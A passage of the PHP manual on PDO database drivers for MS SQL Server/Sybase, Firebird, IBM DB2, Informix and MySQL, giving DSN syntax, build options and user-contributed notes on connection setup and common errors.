        'numeric' => 'real'
    );

    public static function all_fields($table) {
        if(self::$statement==null) {
            $db=pdodb::instance(); // or however you get your global instance
            $query="SELECT COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=?";
            self::$statement=$db->prepare($query);
        }

        self::$statement->execute(array($table));

        $fields=array();
        $need_cast=false;
        while($field=self::$statement->fetch()) {
            $field_quoted=self::quote_field($field['COLUMN_NAME']);
            if(isset(self::$typemap[$field['DATA_TYPE']])) {
                $fields[]='CAST('.$field_quoted.' AS '.self::$typemap[$field['DATA_TYPE']].') AS '.$field_quoted;
                $need_cast=true;
            } else $fields[]=$field_quoted;
        }
        return ($need_cast) ? implode(', ',$fields) : '*';
    }

    public static function quote_field($field) {
        $pos=strpos($field,' ');
        return ($pos===false) ? $field : '['.$field.']';
    }
}

$db=pdodb:instance(); // singleton PDO instance
$stmt=$db->prepare('SELECT '.mssql::all_fields('My_Table').' FROM My_Table');
$stmt->execute();
...
?>

Essentially mssql::all_fields($table) returns '*' if it can, otherwise the fields listed with the relevant casts in place e.g. 'NoteIdent, Owner, CAST(Note AS text) AS Note'
Bryan 14-Jan-2009 03:21
To enable the mssql PDO driver under windows you need to:

1) uncomment the "extension=php_pdo_mssql.dll" line from php.ini
2) copy ntwdblib.dll into the directory where you have installed php
mrshelly at hotmail dot com 28-Oct-2008 06:39
to connect MS SQL2005(DE) sample code:
notice:
if u used MSSQL 2005 EXPRESS, must set the instence name 'SQLEXPRESS'
just like

$hostname='127.0.0.1\SQLEXPRESS';

<?php
  try {
    $hostname = "host";            //host
    $dbname = "dbname";            //db name
    $username = "user";            // username like 'sa'
    $pw = "pass";                // password for the user

    $dbh = new PDO ("mssql:host=$hostname;dbname=$dbname","$username","$pw");
  } catch (PDOException $e) {
    echo "Failed to get DB handle: " . $e->getMessage() . "\n";
    exit;
  }
  $stmt = $dbh->prepare("SELECT * FROM table");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
  unset($dbh); unset($stmt);
?>
arnolem at free dot fr 12-Dec-2007 05:45
I think that PDO_DBLIB is now stable :
You can download the last source at http://pecl.php.net/package/PDO_DBLIB
Steve H 31-May-2006 09:24
To connect to SQL Server 2005 Express on Windows, do it like this:

$pdo = new PDO ('mssql:host=localhost,1433;dbname=[redacted]', '[redacted]', '[redacted]');

localhost
localhost\SQLEXPRESS
localhost\1433
localhost:1433

will not work on Windows.

localhost,1433

does work.

YMMV on other OS's; try each.

Also make sure your TCP/IP Properties -> IP Addresses are correct under SQL Server Configuration Manager.
support at converters dot ru 25-Jan-2006 05:48
If You work with MSSQL Server 7.0/2000/... under Windows and use non latin Encoding then better To use PDO_MSSQL until PDO_ODBC bugs will be fixed (MSSQL ext far more stable and usabe for PHP versions <=5.1.2).
If your MSSQL connection use strings in OEM encoding (cp866 for russian charset)

1. Run Microsoft Server/Client Network Utility on work PC and UNCHECK "DBLibrary options"/"Automatic ANSI to OEM conversion"

2. Restart Web server if needed.
graham1 dot simpson at hsbcib dot com 08-Sep-2005 12:19
There is currently little sybase related PDO docs out there. The ones that I found often mention a spec for a dsn that is invalid. Here's how I am currently connecting to sybase ASE:

1. Compile up freetds http://www.freetds.org on top of open client;
2. Add the PDO and PD_DBLIB modules to php 5 as per the documentation; Note: I'm currently using the PDO-beta and PDO_DBLIB-beta;
3. Check mods installed ok using "pear list" and "php -m";

The documentation often says to use "sybase:" as your DSN, this doesn't work. Use "dblib:" instead. Here's an example:

<?php
  try {
    $hostname = "myhost";
    $port = 10060;
    $dbname = "tempdb";
    $username = "dbuser";
    $pw = "password";
    $dbh = new PDO ("dblib:host=$hostname:$port;dbname=$dbname","$username","$pw");
  } catch (PDOException $e) {
    echo "Failed to get DB handle: " . $e->getMessage() . "\n";
    exit;
  }
  $stmt = $dbh->prepare("select name from master..sysdatabases where name = db_name()");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
  unset($dbh); unset($stmt);
?>

Hope this helps.
PDO::cubrid_schema
PDO_DBLIB DSN
PDO Drivers


Connecting to Microsoft SQL Server and Sybase databases

MS SQL Server (PDO)
Firebird/Interbase (PDO)
MS SQL Server (PDO)
PHP Manual

PDO_DBLIB DSN

(PECL PDO_DBLIB >= 0.9.0)

PDO_DBLIB DSN — Connecting to Microsoft SQL Server and Sybase databases

Description

The PDO_DBLIB Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is sybase: if PDO_DBLIB was linked against the Sybase ct-lib libraries, mssql: if PDO_DBLIB was linked against the Microsoft SQL Server libraries, or dblib: if PDO_DBLIB was linked against the FreeTDS libraries.

host

The hostname on which the database server resides. Defaults to 127.0.0.1.

dbname

The name of the database.

charset

The client character set.

appname

The application name (used in sysprocesses). Defaults to "PHP Generic DB-lib" or "PHP freetds".

secure

Currently unused.

Examples

Example #1 PDO_DBLIB DSN examples

The following examples show a PDO_DBLIB DSN for connecting to Microsoft SQL Server and Sybase databases:

mssql:host=localhost;dbname=testdb
sybase:host=localhost;dbname=testdb
dblib:host=localhost;dbname=testdb

User Contributed Notes

ulisse at atc dot bologna dot it 11-Mar-2010 05:38
on Linux ppc64 / PHP 5.1.2 / freetds-0.64 works well this way:

<?php
// ...
$dbh = new PDO("dblib:host=$hostdb;dbname=$dbname", $usr, $psw);
// ...
?>
slach at 74mail dot ru 04-Feb-2009 02:11
when you connect to non standart 1433 port

for win32 use DSN like 'mssql:host=hostname,port;dbname=database'

for FreeTDS and DB-Lib use DSN like  'mssql:host=hostname:port;dbname=database'
MS SQL Server (PDO)
Firebird/Interbase (PDO)
MS SQL Server (PDO)


Firebird/Interbase Functions (PDO_FIREBIRD)

Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

PDO_FIREBIRD is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Firebird and Interbase databases.

Installation

Use --with-pdo-firebird[=DIR] to install the PDO Firebird extension, where the optional [=DIR] is the Firebird base install directory.

$ ./configure --with-pdo-firebird

Predefined Constants

The constants below are defined by this driver, and will only be available when the extension has been either compiled into PHP or dynamically loaded at runtime. In addition, these driver-specific constants should only be used if you are using this driver. Using driver-specific attributes with another driver may result in unexpected behaviour. PDO::getAttribute() may be used to obtain the PDO_ATTR_DRIVER_NAME attribute to check the driver, if your code can run against multiple drivers.

PDO::FB_ATTR_DATE_FORMAT (integer)

Available since PHP 5.3.0.

Sets the date format.

PDO::FB_ATTR_TIME_FORMAT (integer)

Sets the time format.

Available since PHP 5.3.0.

PDO::FB_ATTR_TIMESTAMP_FORMAT (integer)

Sets the timestamp format.

Available since PHP 5.3.0.

Table of Contents

  • PDO_FIREBIRD DSN — Connecting to Firebird and Interbase databases

User Contributed Notes

confik at gmail dot com 14-Sep-2011 01:01
Here's the quick guide how to compile pdo_firebird and run tests for the ubuntu:
1) setup firebird superclassic:
$ sudo apt-get install firebird2.5-superclassic firebird2.5-dev
firebird2.5-examples

superclassic is the server itself (if in doubt, read this: http://www.firebirdsql.org/file/documentation/reference_manuals/user_manuals/html/qsg25-classic-or-super.html), dev package contains headers to
compile pdo stuff, examples contains example db, i used it to run
tests in it.
Set up credentials for the server (see the link lower).
Get employee.fdb as written here
http://www.firebirdsql.org/manual/ubusetup.html to a some known and
writable path by your user (which tests will be run on).
2) make sure to compile php with following flags, you'll need interbase too (some
tests in pdo_firebird/tests need it)
./configure  --enable-pdo --with-pdo-firebird --with-interbase
make
3) Run tests with environment variables that can be found in
ext/pdo_firebird/tests/common.phpt, I ran it like this:
$ PDO_FIREBIRD_TEST_DSN='firebird:dbname=/var/lib/firebird/2.5/data/employee.fdb'
PDO_FIREBIRD_TEST_USER='SYSDBA' PDO_FIREBIRD_TEST_PASS='masterkey'
TEST_PHP_EXECUTABLE=auto php -n ./run-tests.php ext/pdo_firebird

You're done!
mark-php at vectrex dot org dot uk 03-Jun-2007 03:15
If you have a database alias on the server "localhost" called "test.fdb", you can do:

$conn = new PDO("firebird:dbname=localhost:test.fdb",
                'SYSDBA','letmein');

Note that as of the time of writing, the Firebird driver doesn't correctly throw an exception on connection error

http://bugs.php.net/bug.php?id=41522
Darren 08-Mar-2006 05:18
After much trial and error i found out you should use the following to connect to a firebird database:
<?php
  $db = new PDO ("firebird:dbname=localhost:C:\\path\\to\\database\\MyDatabase.FDB", "username", "password");
?>
NOTE: in the 1st part of the connection string there can be NO spaces else you will get NULL.
The string provided on this site does not work and will give no error only NULL.
thomas at last-it dot de 04-Feb-2006 05:52
if youre dsn syntax is wrong, see ritsaert's comment, there maybe no errormessage!
ritsaert at continuit dot nl 18-Dec-2005 06:43
The connection string for a firebird PDO connection is different than described above. It is something like:

$DB = new PDO("firebird:dbname=T:\\Klimreg.GDB", "SYSDBA", "masterkey");

after dbname= the default connection string for Interbase and Firebird databases is used as presented to either gds32.dll or fbclient.dll.
PDO_DBLIB DSN
PDO_FIREBIRD DSN
PDO Drivers


Connecting to Firebird and Interbase databases

Firebird/Interbase (PDO)
IBM (PDO)
Firebird/Interbase (PDO)
PHP Manual

PDO_FIREBIRD DSN

(PECL PDO_FIREBIRD >= 0.1.0)

PDO_FIREBIRD DSN — Connecting to Firebird and Interbase databases

Description

The PDO_FIREBIRD Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is firebird:.

dbname

The name of the database.

charset

The character set.

role

The SQL role name.

Examples

Example #1 PDO_FIREBIRD DSN examples

The following example shows a PDO_FIREBIRD DSN for connecting to Firebird and Interbase databases:

firebird:dbname=DATABASE.GDE

User Contributed Notes

nelson at integrasoftware dot com dot br 18-Nov-2007 03:24
my Firebird connection example:

$str_conn = "firebird:dbname=C:\db\banco.gdb;host=localhost";

$dbh = new PDO($str_conn, "SYSDBA", "masterkey");
Firebird/Interbase (PDO)
IBM (PDO)
Firebird/Interbase (PDO)


IBM Functions (PDO_IBM)

Introduction

PDO_IBM is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to IBM databases.

Installation

To build the PDO_IBM extension, the DB2 Client v9.1 or later must be installed on the same system as PHP. The DB2 Client can be downloaded from the IBM » Application Development Site.

Note: Note

The DB2 Client v9.1 or later supports direct access to DB2 for Linux, UNIX, and Windows v8 and v9.1 servers.

The DB2 Client v9.1 also supports access to DB2 UDB for i5 and DB2 UDB for z/OS servers using the separately purchased » DB2 Connect product.

PDO_IBM is a » PECL extension, so follow the instructions in Installation of PECL extensions to install the PDO_IBM extension. Issue the configure command to point to the location of your DB2 Client header files and libraries as follows:

bash$ ./configure --with-pdo-ibm=/path/to/sqllib[,shared]
The configure command defaults to the value of the DB2DIR environment variable.

Table of Contents

  • PDO_IBM DSN — Connecting to IBM databases

User Contributed Notes

There are no user contributed notes for this page.
PDO_FIREBIRD DSN
PDO_IBM DSN
PDO Drivers


Connecting to IBM databases

IBM (PDO)
Informix (PDO)
IBM (PDO)
PHP Manual

PDO_IBM DSN

(PECL PDO_IBM >= 0.9.0)

PDO_IBM DSN — Connecting to IBM databases

Description

The PDO_IBM Data Source Name (DSN) is based on the IBM CLI DSN. The major components of the PDO_IBM DSN are:

DSN prefix

The DSN prefix is ibm:.

DSN

The DSN can be any of the following:

  • a) Data source setup using db2cli.ini or odbc.ini

  • b) Catalogued database name i.e. database alias in the DB2 client catalog

  • c) Complete connection string in the following format: DRIVER={IBM DB2 ODBC DRIVER};DATABASE=database;HOSTNAME=hostname;PORT=port;PROTOCOL=TCPIP;UID=username;PWD=password; where the parameters represent the following values:

    database

    The name of the database.

    hostname

    The hostname or IP address of the database server.

    port

    The TCP/IP port on which the database is listening for requests.

    username

    The username with which you are connecting to the database.

    password

    The password with which you are connecting to the database.

Examples

Example #1 PDO_IBM DSN example using db2cli.ini

The following example shows a PDO_IBM DSN for connecting to an DB2 database cataloged as DB2_9 in db2cli.ini:

$db = new PDO("ibm:DSN=DB2_9", "", "");

[DB2_9]
Database=testdb
Protocol=tcpip
Hostname=11.22.33.444
Servicename=56789

Example #2 PDO_IBM DSN example using a connection string

The following example shows a PDO_IBM DSN for connecting to an DB2 database named testdb using the DB2 CLI connection string syntax.

$db = new PDO("ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=testdb;" .
  "HOSTNAME=11.22.33.444;PORT=56789;PROTOCOL=TCPIP;", "testuser", "tespass");

User Contributed Notes

There are no user contributed notes for this page.
IBM (PDO)
Informix (PDO)
IBM (PDO)


Informix Functions (PDO_INFORMIX)

Introduction

PDO_INFORMIX is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Informix databases.

Installation

To build the PDO_INFORMIX extension, the Informix Client SDK 2.81 UC1 or higher must be installed on the same system as PHP. The Informix Client SDK is available from the » IBM Informix Support Site.

PDO_INFORMIX is a » PECL extension, so follow the instructions in Installation of PECL extensions to install the PDO_INFORMIX extension. Issue the configure command to point to the location of your Informix Client SDK header files and libraries as follows:

   bash$ ./configure --with-pdo-informix=/path/to/SDK[,shared]
The configure command defaults to the value of the INFORMIXDIR environment variable.

Scrollable cursors

PDO_INFORMIX supports scrollable cursors; however, they are not enabled by default. To enable scrollable cursor support, you must either set ENABLESCROLLABLECURSORS=1 in the corresponding ODBC connection settings in odbc.ini or pass the EnableScrollableCursors=1 clause in the DSN connection string.

Table of Contents

  • PDO_INFORMIX DSN — Connecting to Informix databases

User Contributed Notes

dan at mutagenix dot org 26-Oct-2009 09:22
I've just built PHP 5.2.11 with pdo_informix support on Slackware 13.0.  I had to use the following options in order to disable pdo from being compiled in (notice the difference in the --without-pdo-sqlite option from previous post):

--disable-pdo option --without-pdo-sqlite option

I also could not use the --with-sigchild option which caused problems with phpize.

This fixed the informix -11001 error that I was getting.  I was also getting an informix -23101 error (something about locale mismatches), but it was because I was not completely removing the compiled in pdo support.

I then had to;

rm -rf /usr/lib/php/.channels
pear update-channels
pecl install --alldeps pdo_informix pdo_mysql pdo_sqlite.

There were other, smaller issues, but that is the lion's share.
cwgraven at gmail dot com 15-Jan-2009 09:11
I noticed that SQLite is installed by php by default...oh and it happens to use PDO. So dont forget to use --without-sqlite.

My successful config looks like this:

./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs --with-curl --with-xsl --disable-pdo --without-sqlite
dbeecher at tekops dot com 21-Jul-2008 07:21
Solved the issue with PHP 5.2.4 and others.

The embedded PDO in php since 5.1+ is INCOMPATIBLE with the latest PDO_MYSQL and PDO_INFORMIX, etc.  I just spent 2 days working on this.  This solution works on numerous versions of Linux I've tried as well as SunOS and HPUX.

The basic issue, getting this message when running PHP with PDO and trying
to get PDO_INFORMIX working, but having a version conflict:

"PHP Fatal error: PDO: driver informix requires PDO API version 20060409;
this is PDO version 20060511 in Unknown on line 0"

The "embedded" PDO that is within PHP since version 5.1 CONFLICTS with the
PDO the  PEAR/PECL modules are expecting.

1) Rebuild PHP with no pdo (--disable-pdo) (and you can't have
  any stuff like --with-mysql-pdo, either)
2) Then use PEAR/PECL to install PDO:  pear install pdo
3) then use PEAR/PECL to install PDO_INFORMIX:
              pear install --alldeps pdo_informix
4) make sure your php.ini extensions_dir points to the directory
   where these are placed
5) then add these references to php.ini:
    extensions=pdo.so
    extensions=pdo_informix.so
    extensions=pdo_mysql.so (etc.)

6) run php -v now and you should not see any errors.

7) run "pear list" and "pecl list" to see the installed modules

8) run php -i |egrep "pdo|PDO" to see:

php -i |egrep "pdo|PDO"
Configure Command =>  './configure'  '--disable-pdo'
'--with-apxs2=/usr/local/apache2/bin/apxs' '--with-openssl=/usr'
'--enable-force-cgi-redirect' '--with-gd' '--with-jpeg-dir=/usr/lib'
'--with-zlib' '--enable-bcmath' '--enable-mbstring=all' '--with-curl'
PDO
PDO support => enabled
PDO drivers => mysql, informix
pdo_informix
pdo_informix support => enabled
pdo_mysql
PDO Driver for MySQL, client library version => 5.0.51a

I would have tried the embedded PDO and then also --with-informix-pdo=shared but as an earlier post here showed, the --with-informix... is unknown.  Please correct my mistake if I am mistyping it.

GOOD LUCK!
David
alan dot acosta at gps dot com dot co 19-Sep-2007 04:01
Take care, with php-5.2.4 --with-pdo-informix=shared,/home/informix
 doesn't work, just says:
Notice: Following unknown configure options were used:
--with-pdo-informix=shared,/home/informix
PDO_IBM DSN
PDO_INFORMIX DSN
PDO Drivers


Connecting to Informix databases

Informix (PDO)
MySQL (PDO)
Informix (PDO)
PHP Manual

PDO_INFORMIX DSN

(PECL PDO_INFORMIX >= 0.1.0)

PDO_INFORMIX DSN — Connecting to Informix databases

Description

The PDO_INFORMIX Data Source Name (DSN) is based on the Informix ODBC DSN string. Details on configuring an Informix ODBC DSN are available from the » Informix Dynamic Server Information Center. The major components of the PDO_INFORMIX DSN are:

DSN prefix

The DSN prefix is informix:.

DSN

The DSN can be either a data source setup using odbc.ini or a complete » connection string.

Examples

Example #1 PDO_INFORMIX DSN example using odbc.ini

The following example shows a PDO_INFORMIX DSN for connecting to an Informix database cataloged as Infdrv33 in odbc.ini:

$db = new PDO("informix:DSN=Infdrv33", "", "");

[ODBC Data Sources]
Infdrv33=INFORMIX 3.3 32-BIT

[Infdrv33]
Driver=/opt/informix/csdk_2.81.UC1G2/lib/cli/iclis09b.so
Description=INFORMIX 3.3 32-BIT
Database=common_db
LogonID=testuser
pwd=testpass
Servername=ids_server
DB_LOCALE=en_US.819
OPTIMIZEAUTOCOMMIT=1
ENABLESCROLLABLECURSORS=1

Example #2 PDO_INFORMIX DSN example using a connection string

The following example shows a PDO_INFORMIX DSN for connecting to an Informix database named common_db using the Informix connection string syntax.

$db = new PDO("informix:host=host.domain.com; service=9800;
    database=common_db; server=ids_server; protocol=onsoctcp;
    EnableScrollableCursors=1", "testuser", "tespass");

User Contributed Notes

phanx at phanx dot com 07-Jan-2010 01:56
When connect to the Dynamic Informix Server, got this error log in apache's error log file:

[Wed Dec 30 12:44:11 2009] [error] [client 1.1.1.1] PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE=HY000, SQLDriverConnect: -11005 [Informix][Informix ODBC Driver]Unspecified System Error =  -11005.' in /opt/webroot/informix.php:5\nStack trace:\n#0 /opt/webroot/informix.php(5): PDO->__construct('informix:host=l...', 'username', 'password')\n#1 {main}\n  thrown in /opt/webroot/informix.php on line 5

you should export correct INFORMIXDIR enviroment variable for root user and restart the web server.

and another error:

[Wed Dec 30 13:10:10 2009] [error] [client 1.1.1.1] PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE=01S00, SQLDriverConnect: -11005 [Informix][Informix ODBC Driver]Invalid connection string attribute.' in /opt/webroot/informix.php:5\nStack trace:\n#0 /opt/webroot/informix.php(5): PDO->__construct('informix:host=l...', 'username', 'password')\n#1 {main}\n  thrown in /opt/webroot/informix.php on line 5

you should let your connection string in one line, without line feed.
Informix (PDO)
MySQL (PDO)
Informix (PDO)


MySQL Functions (PDO_MYSQL)

Introduction

PDO_MYSQL is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to MySQL 3.x, 4.x and 5.x databases.

PDO_MYSQL will take advantage of native prepared statement support present in MySQL 4.1 and higher. If you're using an older version of the mysql client libraries, PDO will emulate them for you.

Warning

Beware: Some MySQL table types (storage engines) do not support transactions. When writing transactional database code using a table type that does not support transactions, MySQL will pretend that a transaction was initiated successfully. In addition, any DDL queries issued will implicitly commit any pending transactions.

Installation

Use --with-pdo-mysql[=DIR] to install the PDO MySQL extension, where the optional [=DIR] is the MySQL base install directory. If mysqlnd is passed as [=DIR], then the MySQL native driver will be used.

Optionally, the --with-mysql-sock[=DIR] sets to location to the MySQL unix socket pointer for all MySQL extensions, including PDO_MYSQL. If unspecified, the default locations are searched.

Optionally, the --with-zlib-dir[=DIR] is used to set the path to the libz install prefix.

$ ./configure --with-pdo-mysql --with-mysql-sock=/var/mysql/mysql.sock

Changelog
Version | Description
5.4.0 | MySQL client libraries 4.1 and below are no longer supported.

Predefined Constants

The constants below are defined by this driver, and will only be available when the extension has been either compiled into PHP or dynamically loaded at runtime. In addition, these driver-specific constants should only be used if you are using this driver. Using driver-specific attributes with another driver may result in unexpected behaviour. PDO::getAttribute() may be used to obtain the PDO_ATTR_DRIVER_NAME attribute to check the driver, if your code can run against multiple drivers.

PDO::MYSQL_ATTR_USE_BUFFERED_QUERY (integer)
If this attribute is set to TRUE on a PDOStatement, the MySQL driver will use the buffered versions of the MySQL API. If you're writing portable code, you should use PDOStatement::fetchAll() instead.

Example #1 Forcing queries to be buffered in mysql

<?php
if ($db->getAttribute(PDO::ATTR_DRIVER_NAME) == 'mysql') {
    $stmt = $db->prepare('select * from foo',
        array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true));
} else {
    die("my application only works with mysql; I should use \$stmt->fetchAll() instead");
}
?>

PDO::MYSQL_ATTR_LOCAL_INFILE (integer)

Enable LOAD LOCAL INFILE.

Note, this constant can only be used in the driver_options array when constructing a new database handle.

PDO::MYSQL_ATTR_INIT_COMMAND (integer)

Command to execute when connecting to the MySQL server. Will automatically be re-executed when reconnecting.

Note, this constant can only be used in the driver_options array when constructing a new database handle.

PDO::MYSQL_ATTR_READ_DEFAULT_FILE (integer)

Read options from the named option file instead of from my.cnf. This option is not available if mysqlnd is used, because mysqlnd does not read the mysql configuration files.

PDO::MYSQL_ATTR_READ_DEFAULT_GROUP (integer)

Read options from the named group from my.cnf or the file specified with MYSQL_READ_DEFAULT_FILE. This option is not available if mysqlnd is used, because mysqlnd does not read the mysql configuration files.

PDO::MYSQL_ATTR_MAX_BUFFER_SIZE (integer)

Maximum buffer size. Defaults to 1 MiB. This constant is not supported when compiled against mysqlnd.

PDO::MYSQL_ATTR_DIRECT_QUERY (integer)

Perform direct queries, don't use prepared statements.

PDO::MYSQL_ATTR_FOUND_ROWS (integer)

Return the number of found (matched) rows, not the number of changed rows.

PDO::MYSQL_ATTR_IGNORE_SPACE (integer)

Permit spaces after function names. Makes all functions names reserved words.

PDO::MYSQL_ATTR_COMPRESS (integer)

Enable network communication compression. This is not supported when compiled against mysqlnd.

Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PDO_MYSQL Configuration Options
Name | Default | Changeable
pdo_mysql.default_socket | "/tmp/mysql.sock" | PHP_INI_SYSTEM
pdo_mysql.debug | NULL | PHP_INI_SYSTEM
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

pdo_mysql.default_socket string

Sets a Unix domain socket. This value can either be set at compile time if a domain socket is found at configure. This ini setting is Unix only.

pdo_mysql.debug boolean

Enables debugging for PDO_MYSQL. This setting is only available when PDO_MYSQL is compiled against mysqlnd and in PDO debug mode.

Table of Contents

  • PDO_MYSQL DSN — Connecting to MySQL databases

User Contributed Notes

david at manifestwebdesign dot com 27-Oct-2011 02:22
The SSL options are silently ignored in PHP 5.3.8, see https://bugs.php.net/bug.php?id=55870
Looks like it's addressed upstream, I just want to save others the hour and a half I just wasted :)
curt at webmasterbond dot com 15-Apr-2011 05:54
Today's PHP snapshot now has SSL support for PDO. Follow the directions here ( http://dev.mysql.com/doc/refman/5.0/en/secure-create-certs.html ) to set up MySQL and then use the following connection options:

<?php
$pdo = new PDO(
    'mysql:host=hostname;dbname=ssldb',
    'username',
    'password',
    array(
        PDO::MYSQL_ATTR_SSL_KEY    =>'/path/to/client-key.pem',
        PDO::MYSQL_ATTR_SSL_CERT=>'/path/to/client-cert.pem',
        PDO::MYSQL_ATTR_SSL_CA    =>'/path/to/ca-cert.pem'
    )
);
?>
rgagnon24 at gmail dot com 01-Jun-2010 09:06
Note that the MySQL option PDO::MYSQL_ATTR_LOCAL_INFILE can only be set during the initial construction of your PDO object.

It is not supported by PDO::getAttribute() nor PDO::setAttribute() for MySQL PDO objects.
Davy Defaud 22-Apr-2009 12:30
This is the way to force mysql PDO driver to use UTF-8 for the connection :

<?php
$pdo = new PDO(
    'mysql:host=hostname;dbname=defaultDbName',
    'username',
    'password',
    array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8")
);
?>
brian at diamondsea dot com 25-Jul-2008 11:26
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. ...

After spending hours trying to track down why we were getting this error on a new server, after the same code ran fine on other servers, we found the problem to be an old MySQL _client_ library running on our web server, and a latest-version MySQL _server_ running on the database server's box.

Upgraded the MySQL client on the web server to the current revision and the problem went away.
miller_kurt_e at yahoo dot com 20-Jul-2008 02:03
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. ...

This one can be a royal pain to deal with.  Never stack statements to be executed in one go.  Nobody ever mentions this possibility in all the posts I've seen dealing with this error.

This example is a Zend Framework example but the theory is the same.

As in:

<?php
$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `ticket_hist` (
       `tid` int(11) NOT NULL,
       `trqform` varchar(40) NOT NULL,
       `trsform` varchar(40) NOT NULL,
       `tgen` datetime NOT NULL,
       `tterm` datetime,
       `tstatus` tinyint(1) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='ticket archive';
     CREATE TABLE IF NOT EXISTS `request_hist` (
       `rqid` int(11) NOT NULL,
       `rqtid` int(11) NOT NULL,
       `rqsid` int(11) NOT NULL,
       `rqdate` datetime NOT NULL,
       `rqcode` tinyint(1) NOT NULL,
       `rssid` int(11) NOT NULL,
       `rsdate` datetime,
       `rscode` tinyint(1)
     ) ENGINE=ARCHIVE COMMENT='request archive';
     CREATE TABLE IF NOT EXISTS `relay_hist` (
       `rqid` int(5) NOT NULL,
       `sdesc` varchar(40) NOT NULL,
       `rqemail` varchar(40) NOT NULL,
       `sid` int(11) NOT NULL,
       `rlsid` int(11) NOT NULL,
       `dcode` varchar(5) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='relay archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);
?>

This will run fine but PDO will balk with the 'unbuffered' error if you follow this with another query.

Instead do:

<?php
$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `ticket_hist` (
       `tid` int(11) NOT NULL,
       `trqform` varchar(40) NOT NULL,
       `trsform` varchar(40) NOT NULL,
       `tgen` datetime NOT NULL,
       `tterm` datetime,
       `tstatus` tinyint(1) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='ticket archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);

$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `request_hist` (
       `rqid` int(11) NOT NULL,
       `rqtid` int(11) NOT NULL,
       `rqsid` int(11) NOT NULL,
       `rqdate` datetime NOT NULL,
       `rqcode` tinyint(1) NOT NULL,
       `rssid` int(11) NOT NULL,
       `rsdate` datetime,
       `rscode` tinyint(1)
     ) ENGINE=ARCHIVE COMMENT='request archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);

$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `relay_hist` (
       `rqid` int(5) NOT NULL,
       `sdesc` varchar(40) NOT NULL,
       `rqemail` varchar(40) NOT NULL,
       `sid` int(11) NOT NULL,
       `rlsid` int(11) NOT NULL,
       `dcode` varchar(5) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='relay archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);
?>

Chopping it into individual queries fixes the problem.
practicegoodtheory at gmail dot com 19-Jun-2008 11:56
On Windows, with Apache, it would not load php_pdo_mysql.dll until I put libmysql.dll in Apache's dll path (e.g. apache/bin)
rmottey at gmail dot com 09-Jan-2008 03:51
I have been getting the error below when performing multiple queries within a single page.

Setting the attribute below did not seem to work for me.

So building on previous example i am initilizing my stmt  variable on every query and a fetch all into an array. Seems to be working for me.

Error:
PDO Error 1.1: Array ( [0] => xxx[1] => yyy[2] => Lost connection to MySQL server during query )

Fix:

(PDO::setAttribute("PDO::MYSQL_ATTR_USE_BUFFERED_QUERY", true);)

<?

try {
        $dbh = new PDO('mysql:host=xxx;port=xxx;dbname=xxx', 'xxx', 'xxx', array( PDO::ATTR_PERSISTENT => false));
 $stmt = $dbh->prepare("CALL getname()");

        // call the stored procedure
        $stmt->execute();
      // fetch all rows into an array.
       $rows = $stmt->fetchAll();
       foreach ($rows as $rs)
    {
          $id = $rs['id'];
         }
//initilise the statement
unset($stmt);
$stmt = $dbh->prepare("call secondprocedure(?);");
$stmt->bindValue(1, $id);
if ( ! $stmt->execute() )
{
    echo "PDO Error 1.1:\n";
    print_r($stmt->errorInfo());
    exit;
}
unset($stmt);
} catch (PDOException $e) {
        print "Error!: " . $e->getMessage() . "<br/>";
        die();
    }
?>
marty at excudo dot net 17-Oct-2007 05:13
Davey wrote:
> To use "PDO::MYSQL_ATTR_USE_BUFFERED_QUERY" you should call
> PDO::setAttribute("PDO::MYSQL_ATTR_USE_BUFFERED_QUERY", true);
>
>It will not work when passed into PDO::prepare()
>
> - Davey

Almost correct. It should be:

PDO::setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);

so, without the quotes.
otherwise it still won't work :)
bratwizard at yahoo dot com 22-Sep-2007 12:59
> konrads dot smelkovs at gmail dot com
> 18-Jul-2007 03:39
> A note for the eager:
>> There is no way how to get returned row count from an executed prepared statement without fetching the rows.

Sure there is, just do something like this:

if ($sth = $pdo->prepare($sql)) {
    $sth->execute($values);
    $sth->fetch();

    // get count of rows in result set
   if ($sth_rc = $this->getDataset()->query('SELECT FOUND_ROWS()')) {
        $row_count = $sth_rc->fetchColumn(0);
        }
    }
konrads dot smelkovs at gmail dot com 18-Jul-2007 03:39
A note for the eager:
There is no way how to get returned row count from an executed prepared statement without fetching the rows.
davey at php dot net 06-Jun-2007 01:46
To use "PDO::MYSQL_ATTR_USE_BUFFERED_QUERY" you should call
PDO::setAttribute("PDO::MYSQL_ATTR_USE_BUFFERED_QUERY", true);

